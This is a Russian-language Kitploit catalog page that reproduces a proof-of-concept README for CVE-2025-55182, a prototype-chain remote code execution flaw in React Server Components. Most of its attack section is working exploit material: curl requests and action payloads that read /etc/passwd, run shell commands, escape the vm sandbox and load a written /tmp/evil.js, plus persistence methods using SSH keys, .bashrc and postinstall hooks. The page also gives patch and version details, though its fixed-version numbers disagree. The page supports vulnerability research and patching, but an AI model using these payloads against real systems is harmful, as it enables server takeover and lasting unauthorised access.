Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Этот POC демонстрирует CVE-2025-55182, используя реальный уязвимый код `[email protected]`.

Репозиторий
129 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - Уязвимость цепочки прототипов React Server Components

Этот PoC демонстрирует CVE-2025-55182 с использованием уязвимого кода [email protected].

Руководство по экстренному исправлению CVE-2025-55182: полный анализ и смягчение для уязвимости Next.js/React RSC (CVSS 10.0)

Этот репозиторий является форком https://github.com/ejpir/CVE-2025-55182-poc и ещё не проверен! Пожалуйста, будьте осторожны и тщательно проверяйте!

Быстрый старт

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Ожидаемый вывод

root@kitploit:~
=== CVE-2025-55182 - RCE через vm.runInThisContext ===

Test 1: Прямой вызов vm#runInThisContext с кодом
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext с require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM Scripts

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

Примечание: Эксплойты module являются гипотетическими. Модуль module редко включается в производственные приложения. Они демонстрируют теоретический путь атаки, когда доступны только fs + module (без vm/child_process). На практике приложения с fs обычно также имеют child_process через зависимости, такие как sharp, puppeteer или execa.

Тестирование отдельных гаджетов

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Ключевые файлы

Серверы

ФайлПортОписание
src/server-realistic.js3002Основной сервер - симулирует webpack-бандл с общими модулями (fs, vm, child_process)
src/server.js3002Устаревший сервер (использует прямой require)
src/server-module-test.js3003Сервер с module + fs (для исследований)

Скрипты эксплойтов

ФайлОписание
exploit-rce-v4.jsОсновной RCE через vm#runInThisContext
exploit-all-gadgets.jsТестирует все гаджеты RCE (vm, child_process, fs)
exploit-module-load.jsДвухшаговый RCE через fs + module#_load
exploit-indirect-rce.jsДвухшаговый RCE с созданием файла подтверждения
exploit-persistence.jsАтаки устойчивости (SSH-ключи, .bashrc)
exploit-research.jsИсследование цепочки прототипов

Как работает server-realistic.js

Симулирует реальный webpack-бандл, где приложения часто включают опасные модули через зависимости:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

Функция __webpack_require__ загружает модули только из BUNDLED_MODULES, симулируя реальное поведение webpack.

Уязвимость

Первопричина

В requireModule() доступ к экспортам осуществляется через скобочную нотацию без проверки hasOwnProperty:

root@kitploit:~
// УЯЗВИМЫЙ (React 19.0.0)
return moduleExports[metadata[2]];  // Доступ к цепочке прототипов!

// ИСПРАВЛЕННЫЙ (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Вектор атаки

  1. Отправьте $ACTION_REF_0 с метаданными связанного действия
  2. id: 'vm#runInThisContext' загружает модуль vm, получает доступ к экспорту runInThisContext
  3. Массив bound становится аргументами функции
  4. При вызове действия: runInThisContext(CODE) выполняет произвольный код

Все проверенные гаджеты RCE

ГаджетСтатусОписание
vm#runInThisContext✓Выполнение произвольного JS в текущем контексте
vm#runInNewContext✓Выполнение в "песочнице" (легко обходится)
child_process#execSync✓Прямое выполнение команд оболочки
child_process#execFileSync✓Выполнение бинарных файлов
child_process#spawnSync✓Запуск процесса (возвращает объект)
module#_load✓Загрузка и выполнение JS-файла (2 шага с fs)
fs#readFileSync✓Чтение произвольных файлов
fs#writeFileSync✓Запись произвольных файлов

Примеры полезных нагрузок гаджетов

Выполнение команды оболочки (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Чтение конфиденциальных файлов:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Запись файлов на диск:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Выполнение произвольного JavaScript:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Побег из песочницы (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Альтернативные пути атаки

Нужен ли вам vm или child_process?

Для прямого RCE: Да, вам нужен один из:

  • модуль vm (runInThisContext, runInNewContext)
  • модуль child_process (execSync, execFileSync, spawnSync)

Для непрямого RCE (только fs): Нет! Только с fs вы можете:

  • Запись в ~/.ssh/authorized_keys → доступ по SSH
  • Добавление в ~/.bashrc → выполнение кода при следующем входе
  • Перезапись node_modules/* → RCE при перезапуске приложения
  • Изменение package.json postinstall → RCE при следующем npm install

Гипотетический сценарий: двухшаговый RCE с module#_load

Примечание: Это гипотетический сценарий. Встроенный модуль module редко включается в производственные сборки.

root@kitploit:~
// Шаг 1: Запись вредоносного модуля
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Шаг 2: Загрузка
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Результат: RCE!

Результаты сравнения

ВерсияАтакаРезультат
React 19.0.0vm#runInThisContext✓ RCE достигнут
React 19.2.1vm#runInThisContext✗ Заблокировано

Тестирование исправленной версии

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Уязвимые npm-пакеты

См. VULNERABLE-PACKAGES.md для исследования популярных npm-пакетов, которые включают опасные модули:

МодульЕженедельные загрузкиПопулярные пакеты
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Уязвимые версии

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Исправленные версии

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Скачать инструмент